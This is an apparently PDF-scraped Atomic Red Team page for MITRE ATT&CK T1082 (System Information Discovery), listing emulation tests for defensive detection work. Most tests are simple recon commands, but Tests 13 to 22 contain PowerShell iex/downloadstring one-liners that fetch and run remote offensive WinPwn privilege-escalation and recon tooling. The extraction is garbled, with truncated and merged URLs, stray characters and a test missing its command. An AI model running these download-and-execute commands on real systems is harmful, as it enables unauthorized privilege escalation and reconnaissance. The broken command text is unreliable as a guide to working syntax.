

T1082 - System Information Discovery

Description from ATT&CK

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

Adversaries may use the information from [System Information Discovery]

(https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as <u>Systeminfo</u> can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <u>systemsetup</u> configuration tool on macOS. As an example, adversaries with user-level access can execute the <u>df -aH</u> command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a <u>Network Device CLI</u> on network devices to gather detailed system information.(Citation: US-CERT-TA18-106A) <u>System Information Discovery</u> combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)

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Atomic Test #1 - System Information Discovery

Identify System Info. Upon execution, system info and time info will be displayed.

Supported Platforms: Windows

auto_generated_guid: 66703791-c902-4560-8770-42b8a91f7667

Attack Commands: Run with command_prompt!

systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum

Q

Atomic Test #2 - System Information Discovery

Identify System Info

Supported Platforms: macOS

auto_generated_guid: edff98ec-0f73-4f63-9890-6b117092aff6

Attack Commands: Run with sh!

system_profiler
ls -al /Applications

ص

Atomic Test #3 - List OS Information

Identify System Info

Supported Platforms: Linux, macOS



auto_generated_guid: cccb070c-df86-4216-a5bc-9fb60c74e27c

Inputs:

Name	Description	Туре	Default Value
output_file	Output file used to store the results.	Path	/tmp/T1082.txt

Attack Commands: Run with sh!



Atomic Test #4 - Linux VM Check via Hardware

Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.

Supported Platforms: Linux

auto_generated_guid: 31dad7ad-2286-4c02-ae92-274418c85fec

Attack Commands: Run with bash!

Atomic Test #5 - Linux VM Check via Kernel Modules

Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.

Supported Platforms: Linux

auto_generated_guid: 8057d484-0fae-49a4-8302-4812c4f1e64e

Attack Commands: Run with bash!

```
sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_baloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storv
```

T1036.006 T1036 T1037.001 T1037.002 T1037.004 T1037.005 T1039

T1040

Atomic Test #6 - Hostname Discovery (Windows)

Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.

Supported Platforms: Windows

auto_generated_guid: 85cfbf23-4a1e-4342-8792-007e004b975f

Attack Commands: Run with command_prompt!

hostname

Q

Atomic Test #7 - Hostname Discovery

Identify system hostname for Linux and macOS systems.

Supported Platforms: Linux, macOS

auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133

Attack Commands: Run with bash!

hostname

Q

Atomic Test #8 - Windows Machine GUID Discovery

Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.

Supported Platforms: Windows

auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8

Attack Commands: Run with command_prompt!

REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineG ☐

Atomic Test #9 - Griffon Recon

This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre in order simply print the recon results to the screen as opposed to exfiltrating them. Script.

For more information see also https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon and https://attack.mitre.org/software/S0417/

Supported Platforms: Windows

auto_generated_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370

Inputs:

Name	Description	Туре	Default Value
vbscript	Path to sample script	String	PathToAtomicsFolder\T1082\src\griffon_recon.vbs

Attack Commands: Run with powershell!

cscript #{vbscript}



Atomic Test #10 - Environment variables discovery on windows

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Supported Platforms: Windows

auto_generated_guid: f400d1c0-1804-4ff8-b069-ef5ddd2adbf3

Attack Commands: Run with command_prompt!

set



Atomic Test #11 - Environment variables discovery on macos and linux

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Supported Platforms: macOS, Linux

auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720

Attack Commands: Run with sh!

env



Atomic Test #12 - Show System Integrity Protection status (MacOS)

Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.

Supported Platforms: macOS

auto_generated_guid: 327cc050-9e99-4c8e-99b5-1d15f2fb6b96

Attack Commands: Run with sh!

csrutil status

Atomic Test #13 - WinPwn - winPEAS

Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn

Supported Platforms: Windows

auto_generated_guid: eea1d918-825e-47dd-acc2-814d6c58c0e1

Attack Commands: Run with powershell!

\$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontwinPEAS -noninteractive -consoleoutput

Atomic Test #14 - WinPwn - itm4nprivesc

Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 3d256a2f-5e57-4003-8eb6-64d91b1da7ce

Attack Commands: Run with powershell!

\$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontitm4nprivesc -noninteractive -consoleoutput

Atomic Test #15 - WinPwn - Powersploits privesc checks

Powersploits privesc checks using oldchecks function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 345cb8e4-d2de-4011-a580-619cf5a9e2d7

Attack Commands: Run with powershell!

\$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercont oldchecks -noninteractive -consoleoutput

Cleanup Commands:

```
rm -force -recurse .\DomainRecon -ErrorAction Ignore
rm -force -recurse .\Exploitation -ErrorAction Ignore
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
rm -force -recurse .\LocalRecon -ErrorAction Ignore
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
```

Atomic Test #16 - WinPwn - General privesc checks

General privesc checks using the otherchecks function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 5b6f39a2-6ec7-4783-a5fd-2c54a55409ed

Attack Commands: Run with powershell!

\$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontotherchecks -noninteractive -consoleoutput

Atomic Test #17 - WinPwn - GeneralRecon

Collect general computer informations via GeneralRecon function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 7804659b-fdbf-4cf6-b06a-c03e758590e8

Attack Commands: Run with powershell!

\$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://

Atomic Test #18 - WinPwn - Morerecon

Gathers local system information using the Morerecon function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 3278b2f6-f733-4875-9ef4-bfed34244f0a

Attack Commands: Run with powershell!

\$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercont
Morerecon -noninteractive -consoleoutput

Atomic Test #19 - WinPwn - RBCD-Check

Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn

Supported Platforms: Windows

auto_generated_guid: dec6a0d8-bcaf-4c22-9d48-2aee59fb692b

Attack Commands: Run with powershell!

\$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercont RBCD-Check -consoleoutput -noninteractive

Atomic Test #20 - WinPwn - PowerSharpPack - Watson searching for missing windows patches

PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 07b18a66-6304-47d2-bad0-ef421eb2e107

Attack Commands: Run with powershell!

iex(new-object net.webclient).downloadstring('https://raw.githubusercont Invoke-watson

Atomic Test #21 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors

PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.

Supported Platforms: Windows

auto_generated_guid: efb79454-1101-4224-a4d0-30c9c8b29ffc

Attack Commands: Run with powershell!

 $iex(new-object\ net.webclient).downloadstring('https://raw.githubusercont <math>\Box$ Invoke-SharpUp -command "audit"

Atomic Test #22 - WinPwn - PowerSharpPack - Seatbelt

PowerSharpPack - Seatbelt technique via function of WinPwn.

Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

Supported Platforms: Windows

auto_generated_guid: 5c16ceb4-ba3a-43d7-b848-a13c1f216d95

Attack Commands: Run with powershell!

iex(new-object net.webclient).downloadstring('https://raw.githubusercont Invoke-Seatbelt -Command "-group=all"; pause

atomic-red-team/atomics/T1082/T1082.md at f33 https://github.com/redcanaryco/atomic-red-team/bl hardware	9e7da7d05f6057fdfcdd37 ob/f339e7da7d05f6057fdfcd	42bfcf365fee2a9 · redcanar dd3742bfcf365fee2a9/atomics	yco/atomic-red-team · GitHub · /T1082/T1082.md#atomic-test-4	- 02/11/2024 09:56 linux-vm-check-via-

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